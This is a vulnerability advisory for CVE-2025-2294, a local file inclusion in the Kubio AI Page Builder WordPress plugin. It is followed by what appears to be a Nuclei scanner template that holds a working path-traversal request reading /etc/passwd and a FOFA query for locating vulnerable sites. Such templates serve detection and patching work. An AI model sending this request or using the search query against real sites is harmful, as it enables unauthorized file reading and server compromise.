The Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.5.1 via thekubio_hybrid_theme_load_template function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
PoC
id: CVE-2025-2294
info:
name: Kubio AI Page Builder <= 2.5.1 - Local File Inclusion
author: s4e-io
severity: critical
description: |
The Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.5.1 via thekubio_hybrid_theme_load_template function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
impact: |
Unauthenticated attackers can include and execute arbitrary files through the kubio_hybrid_theme_load_template function, allowing arbitrary PHP code execution and potential complete server compromise.
remediation: |
Fixed in 2.5.2
reference:
- https://github.com/Nxploited/CVE-2025-2294
- https://plugins.trac.wordpress.org/browser/kubio/tags/2.5.1/lib/integrations/third-party-themes/editor-hooks.php#L32
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kubio/kubio-ai-page-builder-251-unauthenticated-local-file-inclusion
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-2294
cwe-id: CWE-22
epss-score: 0.7836
epss-percentile: 0.99558
metadata:
verified: true
max-request: 2
fofa-query: body="wp-content/plugins/kubio/"
tags: cve,cve2025,wp,wordpress,wp-plugin,lfi,kubio,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: dsl
dsl:
- 'contains(body,"/plugins/kubio")'
internal: true
- raw:
- |
GET /?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- status_code == 200
condition: and
# digest: 4a0a00473045022100bebbedc981963a8e553e1edbde6990acac3925fdf826e42718ebbe79e97c1b8a022003dc3caaa6d19d5631c44996b9347990f5ff1873649951579f1e4c2579217edb:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.